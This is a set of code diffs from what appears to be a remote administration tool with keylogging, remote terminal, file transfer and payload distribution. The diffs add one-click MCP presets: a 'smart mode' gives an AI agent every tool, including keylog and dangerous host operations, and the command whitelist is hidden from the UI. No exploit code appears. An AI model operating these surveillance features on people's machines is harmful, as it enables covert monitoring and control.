if (!langDir.IsEmpty() && GetFileAttributes(langDir) != INVALID_FILE_ATTRIBUTES) {
|
||||
// 配置里的默认值是相对路径 "./lang",展示时解析成绝对路径,避免看不出实际位置
|
||||
TCHAR full[MAX_PATH] = { 0 };
|
||||
if (GetFullPathName(langDir, MAX_PATH, full, NULL) > 0)
|
||||
showDir = full;
|
||||
else
|
||||
showDir = langDir;
|
||||
}
|
||||
if (!langDir.IsEmpty() && GetFileAttributes(langDir) != INVALID_FILE_ATTRIBUTES)
|
||||
showDir = ResolveLangDir();
|
||||
SetDlgItemText(1004, showDir.IsEmpty() ? _TR("内置/预设") : showDir);
|
||||
|
||||
m_comboLang.SubclassDlgItem(1001, this);
|
||||
|
||||
// 添加简体中文(显示为英语避免乱码)
|
||||
int idx = m_comboLang.AddString(GetLanguageDisplayName(_T("zh_CN")));
|
||||
m_langCodes.push_back(_T("zh_CN"));
|
||||
m_comboLang.SetItemData(idx, 0);
|
||||
|
||||
// 添加其他语言
|
||||
auto langs = g_Lang.GetAvailableLanguages();
|
||||
for (const auto& lang : langs) {
|
||||
if (lang == _T("zh_CN")) continue;
|
||||
CString displayName = GetLanguageDisplayName(lang);
|
||||
idx = m_comboLang.AddString(displayName);
|
||||
m_comboLang.SetItemData(idx, m_langCodes.size());
|
||||
m_langCodes.push_back(lang);
|
||||
}
|
||||
|
||||
// 选中当前语言
|
||||
CString currentLang = g_Lang.GetCurrentLanguage();
|
||||
if (currentLang.IsEmpty()) currentLang = _T("zh_CN");
|
||||
for (size_t i = 0; i < m_langCodes.size(); i++) {
|
||||
if (m_langCodes[i] == currentLang) {
|
||||
m_comboLang.SetCurSel((int)i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
PopulateLanguageCombo();
|
||||
|
||||
CenterWindow();
|
||||
return TRUE;
|
||||
|
||||
@@ -100,6 +100,8 @@ BEGIN_MESSAGE_MAP(CMcpSettingsDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_MCP_HTTPS, &CMcpSettingsDlg::OnHttpsToggle)
|
||||
ON_BN_CLICKED(IDC_MCP_CERT_BROWSE, &CMcpSettingsDlg::OnBrowseCert)
|
||||
ON_BN_CLICKED(IDC_MCP_KEY_BROWSE, &CMcpSettingsDlg::OnBrowseKey)
|
||||
ON_BN_CLICKED(IDC_MCP_PRESET_READONLY, &CMcpSettingsDlg::OnPresetReadonly)
|
||||
ON_BN_CLICKED(IDC_MCP_PRESET_SMART, &CMcpSettingsDlg::OnPresetSmart)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
CMcpSettingsDlg::CMcpSettingsDlg(CWnd* parent)
|
||||
@@ -129,6 +131,13 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnEnable.Create(_TR("启用 MCP"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_ENABLE);
|
||||
// 与「启用 MCP」同一行、紧随其后的两个一键预设按钮。
|
||||
m_btnPresetReadonly.Create(_TR("只读模式"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||
r0, this, IDC_MCP_PRESET_READONLY);
|
||||
m_btnPresetSmart.Create(_TR("智能模式"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_PUSHBUTTON,
|
||||
r0, this, IDC_MCP_PRESET_SMART);
|
||||
m_lblPort.Create(_TR("端口"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||
m_editPort.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP | ES_AUTOHSCROLL,
|
||||
r0, this, IDC_MCP_PORT);
|
||||
@@ -184,8 +193,10 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnBuild.Create(_TR("启用客户端生成(AI 生成客户端文件,要求只读关)"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_BUILD);
|
||||
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
|
||||
// 命令白名单:保留原有读取/规范化/回存逻辑,仅不在 UI 上显示——
|
||||
// 该输入对普通用户过于专业、容易误解。(隐藏控件仍承载配置值)
|
||||
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD, r0, this, (UINT)-1);
|
||||
m_editWhitelist.Create(WS_CHILD | WS_BORDER | WS_TABSTOP |
|
||||
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
|
||||
r0, this, IDC_MCP_WHITELIST);
|
||||
m_btnOK.Create(_TR("确定"), WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_DEFPUSHBUTTON,
|
||||
@@ -197,6 +208,8 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
HFONT hFont = (HFONT)::SendMessage(GetSafeHwnd(), WM_GETFONT, 0, 0);
|
||||
if (hFont) {
|
||||
m_btnEnable.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnPresetReadonly.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnPresetSmart.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_lblPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_editPort.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_lblBind.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
@@ -299,6 +312,45 @@ void CMcpSettingsDlg::OnHttpsToggle()
|
||||
UpdateHttpsState();
|
||||
}
|
||||
|
||||
// 「只读模式」预设:一键切到只读安全的工具组合。
|
||||
// 顺带打开「启用 MCP」(未开则开),勾选「只读模式(禁命令执行)」,
|
||||
// 并关闭其余所有工具开关——与「智能模式」互相切换后状态才一致。
|
||||
// (此前漏关 fileTransfer/machine/chat/keylog,Smart→ReadOnly 会残留勾选。)
|
||||
void CMcpSettingsDlg::OnPresetReadonly()
|
||||
{
|
||||
m_btnEnable.SetCheck(BST_CHECKED);
|
||||
m_btnReadonly.SetCheck(BST_CHECKED);
|
||||
m_btnTerminal.SetCheck(BST_UNCHECKED);
|
||||
m_btnRemoteControl.SetCheck(BST_UNCHECKED);
|
||||
m_btnFileTransfer.SetCheck(BST_UNCHECKED);
|
||||
m_btnFileWrite.SetCheck(BST_UNCHECKED);
|
||||
m_btnManage.SetCheck(BST_UNCHECKED);
|
||||
m_btnMachine.SetCheck(BST_UNCHECKED);
|
||||
m_btnMachineDangerous.SetCheck(BST_UNCHECKED);
|
||||
m_btnChat.SetCheck(BST_UNCHECKED);
|
||||
m_btnKeylog.SetCheck(BST_UNCHECKED);
|
||||
m_btnBuild.SetCheck(BST_UNCHECKED);
|
||||
}
|
||||
|
||||
// 「智能模式」预设:一键启用全部 MCP 工具。
|
||||
// 顺带打开「启用 MCP」(未开则开);只读模式会禁用命令执行等开关,故一并关闭;
|
||||
// 主机管理与危险主机操作成对打开,否则保存时 OnOK 会因「危险操作依附于主机管理」而回退。
|
||||
void CMcpSettingsDlg::OnPresetSmart()
|
||||
{
|
||||
m_btnEnable.SetCheck(BST_CHECKED);
|
||||
m_btnReadonly.SetCheck(BST_UNCHECKED);
|
||||
m_btnTerminal.SetCheck(BST_CHECKED);
|
||||
m_btnRemoteControl.SetCheck(BST_CHECKED);
|
||||
m_btnFileTransfer.SetCheck(BST_CHECKED);
|
||||
m_btnFileWrite.SetCheck(BST_CHECKED);
|
||||
m_btnManage.SetCheck(BST_CHECKED);
|
||||
m_btnMachine.SetCheck(BST_CHECKED);
|
||||
m_btnMachineDangerous.SetCheck(BST_CHECKED);
|
||||
m_btnChat.SetCheck(BST_CHECKED);
|
||||
m_btnKeylog.SetCheck(BST_CHECKED);
|
||||
m_btnBuild.SetCheck(BST_CHECKED);
|
||||
}
|
||||
|
||||
void CMcpSettingsDlg::OnBrowseCert()
|
||||
{
|
||||
CString cur;
|
||||
@@ -442,7 +494,31 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
|
||||
const int btnH = 26;
|
||||
|
||||
int y = margin;
|
||||
m_btnEnable.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
// 「启用 MCP」与其后的两个预设按钮同处一行:只读模式 / 智能模式。
|
||||
// 预设按钮宽度按当前语言的按钮文本自适应,避免英文/德文译文被裁切。
|
||||
CString presetText1, presetText2;
|
||||
m_btnPresetReadonly.GetWindowText(presetText1);
|
||||
m_btnPresetSmart.GetWindowText(presetText2);
|
||||
int presetTextW = 0;
|
||||
{
|
||||
CClientDC dc(this);
|
||||
CFont* pFont = GetFont();
|
||||
CFont* pOld = pFont ? dc.SelectObject(pFont) : nullptr;
|
||||
int w1 = dc.GetTextExtent(presetText1).cx;
|
||||
int w2 = dc.GetTextExtent(presetText2).cx;
|
||||
presetTextW = (w1 > w2) ? w1 : w2;
|
||||
if (pOld) dc.SelectObject(pOld);
|
||||
}
|
||||
const int presetBtnW = presetTextW + 24; // 左右内边距
|
||||
const int presetBtnH = 22;
|
||||
const int presetGap = 8;
|
||||
int smartX = cx - margin - presetBtnW;
|
||||
int readonlyX = smartX - presetGap - presetBtnW;
|
||||
int enableW = readonlyX - presetGap - margin;
|
||||
if (enableW < 90) enableW = 90;
|
||||
m_btnEnable.MoveWindow(margin, y, enableW, 22);
|
||||
m_btnPresetReadonly.MoveWindow(readonlyX, y, presetBtnW, presetBtnH);
|
||||
m_btnPresetSmart.MoveWindow(smartX, y, presetBtnW, presetBtnH);
|
||||
y += 30;
|
||||
|
||||
m_lblPort.MoveWindow(margin, y, labelW, rowH);
|
||||
@@ -506,12 +582,8 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
|
||||
m_btnBuild.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
y += 30;
|
||||
|
||||
const int whitelistH = 90;
|
||||
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
|
||||
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
|
||||
y += whitelistH + gap;
|
||||
|
||||
// 确定 / 取消按钮紧跟白名单下方,不再锚定到底部,避免白名单与按钮之间出现大段空白。
|
||||
// 命令白名单控件已隐藏,不占布局空间(逻辑保留,见 OnInitDialog / OnOK)。
|
||||
// 确定 / 取消按钮紧跟最后一个开关下方,不再锚定到底部,避免出现大段空白。
|
||||
m_btnCancel.MoveWindow(cx - margin - btnW, y, btnW, btnH);
|
||||
m_btnOK.MoveWindow(cx - margin - btnW * 2 - gap, y, btnW, btnH);
|
||||
y += btnH + margin;
|
||||
|
||||
@@ -21,6 +21,8 @@ protected:
|
||||
afx_msg void OnHttpsToggle();
|
||||
afx_msg void OnBrowseCert();
|
||||
afx_msg void OnBrowseKey();
|
||||
afx_msg void OnPresetReadonly(); // 「只读模式」预设:勾选只读并关闭依赖只读关闭的开关
|
||||
afx_msg void OnPresetSmart(); // 「智能模式」预设:启用全部工具并关闭只读
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
@@ -47,9 +49,12 @@ private:
|
||||
IDC_MCP_KEY_BROWSE = 1019, // 私钥路径「浏览」按钮
|
||||
IDC_MCP_FILEWRITE = 1020, // 「启用文件写入」复选框(删除/改名/建目录,要求只读关)
|
||||
IDC_MCP_BUILD = 1021, // 「启用客户端生成」复选框(build_client,要求只读关)
|
||||
IDC_MCP_PRESET_READONLY = 1022, // 「只读模式」预设按钮
|
||||
IDC_MCP_PRESET_SMART = 1023, // 「智能模式」预设按钮
|
||||
};
|
||||
|
||||
CButton m_btnEnable;
|
||||
CButton m_btnPresetReadonly, m_btnPresetSmart; // 「启用 MCP」右侧的一键预设
|
||||
CStatic m_lblPort, m_lblBind, m_lblToken;
|
||||
CEdit m_editPort, m_editBind, m_editToken;
|
||||
CButton m_btnReadonly;
|
||||
|
||||
@@ -412,6 +412,23 @@ public:
|
||||
// 引用计数:跟踪正在处理此对象的工作线程数量,防止竞态条件 (#215)
|
||||
std::atomic<int> IoRefCount{0}; // I/O 处理引用计数
|
||||
std::atomic<bool> IsRemoved{false}; // 标记是否已被标记为移除
|
||||
// 仅 UDP 上下文使用:对象已从服务器映射移除,等最后一次引用释放时由
|
||||
// 释放者删除(不能在 Disconnect 里等待,调用方可能正持有引用)。
|
||||
std::atomic<bool> DeleteWhenIdle{false};
|
||||
|
||||
// 释放一枚 IoRefCount;若这是最后一枚且容器已要求删除,则在此处销毁。
|
||||
void ReleaseIoRef()
|
||||
{
|
||||
// 必须先 fetch_sub 再用 exchange 读标记:两者作为一个整体才不会漏删。
|
||||
// 曾经用 `if (!DeleteWhenIdle.load()) { fetch_sub; return; }` 做 TCP 短路,
|
||||
// 但 load 与 fetch_sub 之间存在窗口:worker 读到 false 后,Disconnect
|
||||
// 可以完成 store(true) 并把计数降到 1,worker 恢复后走短路把计数减到 0
|
||||
// 直接返回,此时既没人 delete、标记也永远是 true —— 对象泄漏。
|
||||
// TCP 上下文 DeleteWhenIdle 恒为 false,exchange(false) 只是把 false 写回
|
||||
// false,对可能被连接池复用的对象没有副作用,与原来的裸 fetch_sub 等价。
|
||||
if (IoRefCount.fetch_sub(1) == 1 && DeleteWhenIdle.exchange(false))
|
||||
delete this;
|
||||
}
|
||||
|
||||
// 内核测得的纯网络 RTT(μs),由 IOCPServer 的 RTT 轮询线程通过
|
||||
// WSAIoctl(SIO_TCP_INFO) 周期性写入;任何线程可通过 GetRttUs() 安全读取。
|
||||
@@ -741,6 +758,10 @@ public:
|
||||
{
|
||||
return Parser.m_nFlagType;
|
||||
}
|
||||
virtual int GetCompressMethod() const override
|
||||
{
|
||||
return CompressMethod;
|
||||
}
|
||||
// Write compressed buffer.
|
||||
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1)
|
||||
{
|
||||
@@ -876,8 +897,20 @@ public:
|
||||
}
|
||||
void Destroy() override
|
||||
{
|
||||
// 上下文归 UDP 服务端的地址映射所有:必须经 Disconnect 先摘除映射,
|
||||
// 否则映射里留下悬空指针(后续数据报或服务端退出时会 UAF/重复释放)。
|
||||
if (server != nullptr) {
|
||||
server->Disconnect(this);
|
||||
return;
|
||||
}
|
||||
delete this;
|
||||
}
|
||||
void CancelIO() override
|
||||
{
|
||||
// UDP 的 sClientSocket 是服务端共享的接收 socket,取消 IO 会打断
|
||||
// 所有在途的 WSARecvFrom(且工作线程不会补投)。UDP 上下文没有
|
||||
// 独占连接,这里什么都不做。
|
||||
}
|
||||
virtual std::string GetPeerName() const override
|
||||
{
|
||||
char client_ip[INET_ADDRSTRLEN];
|
||||
|
||||
@@ -78,6 +78,7 @@ BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
|
||||
ON_BN_CLICKED(IDC_RADIO_FRP_OFF, &CSettingDlg::OnBnClickedRadioFrpOff)
|
||||
ON_BN_CLICKED(IDC_RADIO_FRP_ON, &CSettingDlg::OnBnClickedRadioFrpOn)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_PUBLIC_IP, &CSettingDlg::OnEnKillfocusEditPublicIp)
|
||||
ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CSettingDlg::OnToolTipText)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -108,6 +109,82 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
SetDlgItemText(IDC_GROUP_SET_DESKTOP, _TR("桌面管理"));
|
||||
SetDlgItemText(IDC_GROUP_SET_PARAMS, _TR("参数设置"));
|
||||
|
||||
// 设置对话框所有输入控件的悬浮提示。长提示用 \n 手动换行,避免一行过长。
|
||||
// 用 MFC 内建工具提示:OnToolHitTest 负责命中(combo 的内部编辑框、禁用控件
|
||||
// 都由框架转换),TTN_NEEDTEXT 按控件 ID 提供文本。
|
||||
m_tips.clear();
|
||||
m_tips[IDC_EDIT_PUBLIC_IP] = _TR(
|
||||
"客户端连接主控所用的地址。\n"
|
||||
"有公网 IP 填公网 IP;使用 FRP 填 frps 的公网 IP/域名;\n"
|
||||
"仅局域网测试可填内网 IP。\n"
|
||||
"修改只影响之后生成/分发的客户端;若已绑定授权,改地址可能导致授权失效。");
|
||||
m_tips[IDC_EDIT_PORT] = _TR(
|
||||
"主控监听的端口,可填多个,用英文分号分隔。\n"
|
||||
"例如 6543;7543。每个端口同时监听 TCP 和 UDP;\n"
|
||||
"KCP 端口由右侧「UDP 协议参数」按顺序指定。\n"
|
||||
"已分发的客户端仍指向旧端口:改端口后需重启主控,\n"
|
||||
"并重新生成/分发客户端。");
|
||||
m_tips[IDC_EDIT_UDP_OPTION] = _TR(
|
||||
"与监听端口按顺序一一对应。\n"
|
||||
"例如监听端口填 6543;7543,这里就填 UDP;KCP。\n"
|
||||
"0 表示 UDP,1 表示 KCP;未填写的端口按 UDP 处理。\n"
|
||||
"修改后需重启主控生效。");
|
||||
const CString frpTip = _TR(
|
||||
"启用后主控在本机启动 frpc,\n"
|
||||
"把监听端口映射到 frps 的公网端口;\n"
|
||||
"需要填写服务端口和 token。\n"
|
||||
"仅 64 位主控支持,切换开关需重启主控生效。");
|
||||
m_tips[IDC_RADIO_FRP_OFF] = frpTip;
|
||||
m_tips[IDC_RADIO_FRP_ON] = frpTip;
|
||||
m_tips[IDC_EDIT_FRP_PORT] = _TR(
|
||||
"frps 的 server_port(frps.ini 的 bind_port),默认 7000。\n"
|
||||
"它不是主控映射出去的监听端口。仅启用 FRP 时可填。");
|
||||
m_tips[IDC_EDIT_FRP_TOKEN] = _TR(
|
||||
"frpc 与 frps 共享的认证 token,\n"
|
||||
"必须与 frps.ini 中的 token 一致;\n"
|
||||
"留空表示服务端未启用 token。仅启用 FRP 时可填。");
|
||||
m_tips[IDC_EDIT_MAX] = _TR(
|
||||
"当前授权允许的最大同时在线客户端数,由口令/授权决定,只读。");
|
||||
const CString multiMonTip = _TR(
|
||||
"是:允许在远程会话中切换目标机的多个显示器;\n"
|
||||
"否:只使用主显示器。对新开的屏幕会话生效。");
|
||||
m_tips[IDC_RADIO_ALL_SCREEN] = multiMonTip;
|
||||
m_tips[IDC_RADIO_MAIN_SCREEN] = multiMonTip;
|
||||
m_tips[IDC_COMBO_SCREEN_CAPTURE] = _TR(
|
||||
"屏幕捕获方式:\n"
|
||||
"GDI 兼容性最好,支持窗口捕获;\n"
|
||||
"DXGI 桌面复制更快更省 CPU(Win8+,部分远程会话/驱动下拿不到帧会自动回退);\n"
|
||||
"VIRTUAL 使用虚拟桌面捕获。对新开的屏幕会话生效。");
|
||||
m_tips[IDC_COMBO_SCREEN_COMPRESS] = _TR(
|
||||
"远程画面编码方式:\n"
|
||||
"算法自适应(按带宽自动选择)、屏幕差异(省流量)、\n"
|
||||
"H264(画面更流畅,需客户端支持)、灰度 / RGBA→RGB565(极低带宽)。\n"
|
||||
"对新开的屏幕会话生效。");
|
||||
m_tips[IDC_EDIT_REPORTINTERVAL] = _TR(
|
||||
"客户端上报活动窗口/心跳的间隔(秒),默认 5。\n"
|
||||
"数值越小越及时,流量和 CPU 越高;点确定后下发给在线客户端。");
|
||||
m_tips[IDC_COMBO_SOFTWAREDETECT] = _TR(
|
||||
"选择在客户端上检测的软件:\n"
|
||||
"「摄像头」检测摄像头占用,「电报」检测 Telegram 是否运行。\n"
|
||||
"结果显示在在线列表的「摄像头」列;点确定后下发给在线客户端。");
|
||||
m_tips[IDC_COMBO_VIDEO_WALL] = _TR(
|
||||
"把多个显示器按 N×N 网格拼成一个逻辑屏(2×2~5×5),\n"
|
||||
"用于多屏集中查看;「无」表示关闭。");
|
||||
m_tips[IDC_EDIT_FILESERVER_PORT] = _TR(
|
||||
"主控 Web 服务的端口,默认 8080。\n"
|
||||
"用于 Web 控制台、远程控制,以及以下载方式分发上线载荷;\n"
|
||||
"填 -1 或 0 表示不启用。修改后需重启主控生效。");
|
||||
// 最大连接数在模板里排在“常规设置”分组框之后,z-order 上被分组框盖住:
|
||||
// 工具提示的中继按 ChildWindowFromPoint 找窗口时会先命中分组框,导致它
|
||||
// 永远没有提示。把它提到同级最前(位置不变)即可;运行期再禁用保持灰显。
|
||||
CWnd* maxEdit = GetDlgItem(IDC_EDIT_MAX);
|
||||
if (maxEdit != nullptr) {
|
||||
maxEdit->SetWindowPos(&CWnd::wndTop, 0, 0, 0, 0,
|
||||
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
maxEdit->EnableWindow(FALSE);
|
||||
}
|
||||
EnableToolTips(TRUE);
|
||||
|
||||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||||
SetWindowText(_TR("设置"));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
@@ -130,11 +207,14 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
m_sPublicIP = savedMaster.empty() ? localPublicIP.c_str() : savedMaster.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
|
||||
} else if (!frpAutoServer.empty()) {
|
||||
} else if (!frpAutoServer.empty() && !(frpEnabled && !savedMaster.empty())) {
|
||||
// 场景 2: 上级配置了 FRP
|
||||
// 本地已启用自有 FRP(UseFrp + 已配置主控地址)时不走这里:
|
||||
// 此时主控地址以本地 FRP 为准,与 GetEffectiveMasterAddress 的规则一致。
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
m_sPublicIP = frpAutoServer.c_str();
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT, _T(""));
|
||||
SetDlgItemText(IDC_STATIC_SET_IP_HINT,
|
||||
_TR("该地址由上级自动 FRP 提供(端口由上级分配),无需修改"));
|
||||
} else if (frpEnabled) {
|
||||
// 场景 3: 启用了本地 FRP(FRP服务器应有公网IP)
|
||||
SetDlgItemText(IDC_STATIC_SET_PUBLIC_IP, _TR("公网地址:"));
|
||||
@@ -148,9 +228,10 @@ BOOL CSettingDlg::OnInitDialog()
|
||||
}
|
||||
m_sOriginalMaster = m_sPublicIP; // 缓存原始值,用于检测修改
|
||||
std::string nPort = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||||
std::map<std::string, std::string> udpMap = { {"UDP", "UDP"}, {"KCP", "KCP"} };
|
||||
std::string method = THIS_CFG.GetStr("settings", "UDPOption", "UDP").c_str();
|
||||
m_sUdpOption = udpMap.find(method) == udpMap.end() ? "UDP" : udpMap[method].c_str();
|
||||
// UDPOption 与 ghost 是平行的分号列表("UDP;KCP" 对应 "6543;7543")。这里原样
|
||||
// 显示、原样写回;不要做"UDP/KCP 二选一"的归一化,否则打开设置点确定就会把
|
||||
// KCP 端口条目抹掉(本次新增的多端口实验传输依赖它)。
|
||||
m_sUdpOption = THIS_CFG.GetStr("settings", "UDPOption", "UDP").c_str();
|
||||
|
||||
int DXGI = THIS_CFG.GetInt("settings", "DXGI");
|
||||
|
||||
@@ -358,3 +439,51 @@ void CSettingDlg::OnEnKillfocusEditPublicIp()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
INT_PTR CSettingDlg::OnToolHitTest(CPoint point, TOOLINFO* pTI) const
|
||||
{
|
||||
// 内建工具提示默认按单行绘制(未设 TTM_SETMAXTIPWIDTH 时 \n 也不生效)。
|
||||
// 每次命中前给线程工具提示设一个最大宽度,长文本才会折行。
|
||||
AFX_MODULE_THREAD_STATE* ts = AfxGetModuleThreadState();
|
||||
if (ts != nullptr && ts->m_pToolTip != nullptr && ts->m_pToolTip->GetSafeHwnd() != nullptr)
|
||||
ts->m_pToolTip->SetMaxTipWidth(600);
|
||||
|
||||
// point 是对话框客户区坐标。逐个登记过提示的控件做矩形命中,不依赖鼠标消息
|
||||
// 落在哪个窗口:combo 的内部编辑框、禁用控件(WindowFromPoint 会忽略)都能命中。
|
||||
for (const auto& kv : m_tips) {
|
||||
CWnd* w = GetDlgItem(kv.first);
|
||||
if (w == nullptr)
|
||||
continue;
|
||||
CRect rc;
|
||||
w->GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
if (!rc.PtInRect(point))
|
||||
continue;
|
||||
if (pTI != nullptr) {
|
||||
pTI->hwnd = m_hWnd;
|
||||
pTI->uId = (UINT_PTR)w->GetSafeHwnd();
|
||||
pTI->uFlags |= TTF_IDISHWND;
|
||||
// 与 MFC 默认实现一致:非按钮控件让提示居中。
|
||||
if (!(::SendMessage(w->GetSafeHwnd(), WM_GETDLGCODE, 0, 0) & DLGC_BUTTON))
|
||||
pTI->uFlags |= TTF_NOTBUTTON | TTF_CENTERTIP;
|
||||
pTI->lpszText = LPSTR_TEXTCALLBACK;
|
||||
}
|
||||
return (INT_PTR)kv.first;
|
||||
}
|
||||
return -1; // 其余控件(按钮等)不加提示
|
||||
}
|
||||
|
||||
BOOL CSettingDlg::OnToolTipText(UINT /*id*/, NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
TOOLTIPTEXT* pTTT = (TOOLTIPTEXT*)pNMHDR;
|
||||
UINT nID = (UINT)pNMHDR->idFrom;
|
||||
if (pTTT->uFlags & TTF_IDISHWND)
|
||||
nID = (UINT)::GetDlgCtrlID((HWND)pNMHDR->idFrom);
|
||||
auto it = m_tips.find(nID);
|
||||
if (it == m_tips.end())
|
||||
return FALSE;
|
||||
// 指向成员里的 CString:生命周期覆盖提示显示期间,也避开 szText 的 80 字符限制。
|
||||
pTTT->lpszText = const_cast<LPTSTR>((LPCTSTR)it->second);
|
||||
*pResult = 0;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -2,6 +2,7 @@
|
||||
#include "afxwin.h"
|
||||
#include "LangManager.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include <map>
|
||||
|
||||
// CSettingDlg 对话框
|
||||
|
||||
@@ -44,6 +45,11 @@ public:
|
||||
afx_msg void OnBnClickedRadioMainScreen();
|
||||
CEdit m_EditUdpOption;
|
||||
CString m_sUdpOption;
|
||||
// MFC 内建工具提示(EnableToolTips + OnToolHitTest + TTN_NEEDTEXT):
|
||||
// 由框架负责 combo 内部编辑框、禁用控件的命中转换,比手动 RelayEvent 可靠。
|
||||
std::map<UINT, CString> m_tips; // 控件 ID -> 提示文本
|
||||
virtual INT_PTR OnToolHitTest(CPoint point, TOOLINFO* pTI) const;
|
||||
afx_msg BOOL OnToolTipText(UINT id, NMHDR* pNMHDR, LRESULT* pResult);
|
||||
afx_msg void OnBnClickedRadioFrpOff();
|
||||
afx_msg void OnBnClickedRadioFrpOn();
|
||||
CEdit m_EditFrpPort;
|
||||
|
||||
@@ -46,7 +46,7 @@
|
||||
|
||||
// 程序版本号 [建议格式: X.Y.Z]
|
||||
// 影响:关于对话框、标题栏
|
||||
#define BRAND_VERSION "1.4.3"
|
||||
#define BRAND_VERSION "1.4.4"
|
||||
|
||||
// 启动画面名称 [建议大写,更有 Logo 感]
|
||||
// 影响:启动画面 Logo 文字(大号艺术字体渲染)
|
||||
|
||||
@@ -41,6 +41,7 @@ public:
|
||||
virtual std::string GetProtocol() const = 0;
|
||||
virtual int GetServerPort() const = 0;
|
||||
virtual FlagType GetFlagType() const = 0;
|
||||
virtual int GetCompressMethod() const = 0; // COMPRESS_ZSTD / COMPRESS_ZLIB / COMPRESS_NONE
|
||||
virtual std::string GetGroupName() const = 0;
|
||||
virtual uint64_t GetAliveTime()const = 0;
|
||||
virtual void SetLastHeartbeat(uint64_t time) = 0;
|
||||
@@ -199,6 +200,22 @@ public:
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否支持切到实验传输(UDP/KCP)。只有声明 CLIENT_CAP_PROTO_SWITCH_EXP
|
||||
// 的新版 Windows 客户端接受 PROTO_UDP/PROTO_KCP,老客户端收到会清空覆盖重连。
|
||||
bool SupportsProtoSwitchExp() const {
|
||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_PROTO_SWITCH_EXP) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否支持远程切换线缆压缩(COMMAND_SET_COMPRESS,zstd / zlib)。
|
||||
// 只有声明 CLIENT_CAP_COMPRESS_SWITCH 的 Windows 客户端认识。
|
||||
bool SupportsCompressSwitch() const {
|
||||
CString caps = GetClientData(ONLINELIST_CAPABILITIES);
|
||||
if (caps.IsEmpty()) return false;
|
||||
return (strtoul(caps.GetString(), nullptr, 16) & CLIENT_CAP_COMPRESS_SWITCH) != 0;
|
||||
}
|
||||
|
||||
// 检查客户端是否支持收到 COMMAND_UPDATE 下发的 APK 后拉起系统安装器。
|
||||
// 只有新版 Android 客户端声明;老 APK 收到命令会走 default 静默丢弃,
|
||||
// 服务端据此提示「先手动装一次新版」。
|
||||
|
||||
@@ -35,7 +35,7 @@
|
||||
视频管理=Video
|
||||
服务管理=Dienste
|
||||
注册表管理=Registry
|
||||
键盘记录=Keylogger
|
||||
键盘记录=Keylog
|
||||
参数设置=Einstellungen
|
||||
生成服务端=Dienst erstellen
|
||||
帮助=Hilfe
|
||||
@@ -78,15 +78,15 @@ RTT=RTT
|
||||
; Dialog Captions (对话框标题保持清晰)
|
||||
; ============================================
|
||||
远程桌面=Remote-Desktop
|
||||
文件管理=Dateimanager
|
||||
